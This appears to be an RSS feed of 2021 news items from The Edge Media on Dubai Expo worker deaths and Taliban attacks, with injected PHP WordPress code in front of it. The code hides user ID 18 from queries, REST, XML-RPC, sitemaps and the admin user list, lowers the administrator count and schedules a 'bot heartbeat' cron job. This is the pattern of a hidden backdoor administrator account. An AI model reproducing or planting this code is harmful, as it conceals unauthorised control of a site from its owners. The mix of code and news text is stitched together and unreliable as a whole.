add_action( 'pre_get_posts', function( $q ) {
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        $not_in   = (array) $q->get( 'author__not_in' );
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    $exclude[] = 18;

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    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
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    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
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        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
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		<title>Dubai Expo Construction Site Mishap Caused 3 Deaths</title>
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					<description><![CDATA[<p>Officials stated at least three workers were killed and another 70 were badly wounded while working on the Dubai Expo 2020 site while claiming that safety measures were &#8220;world-class.&#8221; According to the Associated Press, this is the first instance the Dubai Expo has released information on worker fatalities during the mammoth world&#8217;s fair&#8217;s development. The [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/dubai-expo-construction-site-mishap-caused-3-deaths">Dubai Expo Construction Site Mishap Caused 3 Deaths</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Officials stated at least three workers were killed and another 70 were badly wounded while working on the Dubai Expo 2020 site while claiming that safety measures were &#8220;world-class.&#8221; According to the Associated Press, this is the first instance the Dubai Expo has released information on worker fatalities during the mammoth world&#8217;s fair&#8217;s development.</p>
<p>The organizers initially stated that five employees had been killed, but subsequently issued a statement calling the prior count an &#8220;error.&#8221;</p>
<p>The figures were revealed after the European Parliament criticized the UAE&#8217;s record on human rights and &#8220;inhumane&#8221; treatment of immigrant workpeople, calling for a boycott of the six-month-long international exhibition.</p>
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<p>The post <a href="https://theedgemedia.in/dubai-expo-construction-site-mishap-caused-3-deaths">Dubai Expo Construction Site Mishap Caused 3 Deaths</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>For the second day in a row, an explosion in Jalalabad targets Taliban, implying infighting</title>
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		<pubDate>Sun, 19 Sep 2021 16:27:29 +0000</pubDate>
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					<description><![CDATA[<p>A day after a series of explosions in Afghanistan&#8217;s Jalalabad killed at least two Taliban officials and injured 19 others, another explosion occurred on Sunday in the same city, which is the provincial headquarters of Nangarhar and is 80 miles from Kabul. Witnesses told the Associated Press that the blast on Sunday targeted a vehicle [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/for-the-second-day-in-a-row-an-explosion-in-jalalabad-targets-taliban-implying-infighting">For the second day in a row, an explosion in Jalalabad targets Taliban, implying infighting</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>A day after a series of explosions in Afghanistan&#8217;s Jalalabad killed at least two Taliban officials and injured 19 others, another explosion occurred on Sunday in the same city, which is the provincial headquarters of Nangarhar and is 80 miles from Kabul.</p>
<p>Witnesses told the Associated Press that the blast on Sunday targeted a vehicle belonging to the border police, which is currently controlled by the Taliban. According to the initial reports, five individuals were killed, including two civilians, one of which was a toddler. The Taliban did not respond to requests for comment about suspected casualties within their ranks, according to the article.</p>
<p>The post <a href="https://theedgemedia.in/for-the-second-day-in-a-row-an-explosion-in-jalalabad-targets-taliban-implying-infighting">For the second day in a row, an explosion in Jalalabad targets Taliban, implying infighting</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Ghazni is the tenth provincial capital to fall to the Taliban</title>
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					<description><![CDATA[<p>On Thursday, the Taliban took control of a provincial capital near Kabul, making it the tenth province capital the insurgents have taken over a weeklong blitz across Afghanistan as the US and NATO prepare to leave the nation after decades of conflict. The terrorists, according to the Associated Press, raised their white flags inscribed with [&#8230;]</p>
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										<content:encoded><![CDATA[<p>On Thursday, the Taliban took control of a provincial capital near Kabul, making it the tenth province capital the insurgents have taken over a weeklong blitz across Afghanistan as the US and NATO prepare to leave the nation after decades of conflict.</p>
<p>The terrorists, according to the Associated Press, raised their white flags inscribed with an Islamic statement of faith over Ghazni, a city located 130 kilometers southwest of Kabul. Sporadic fighting persisted outside the city at an intelligence base and an army installation, according to two local officials.</p>
<p>Ghazni&#8217;s fall is another major blow for the Afghan government. The city is located on the Kabul-Kandahar Highway, which connects Afghanistan&#8217;s capital with the country&#8217;s southern provinces. This might make resupply and movement for government forces more difficult, as well as restricting access to the city from the south.</p>
<p>The post <a href="https://theedgemedia.in/ghazni-is-the-tenth-provincial-capital-to-fall-to-the-taliban">Ghazni is the tenth provincial capital to fall to the Taliban</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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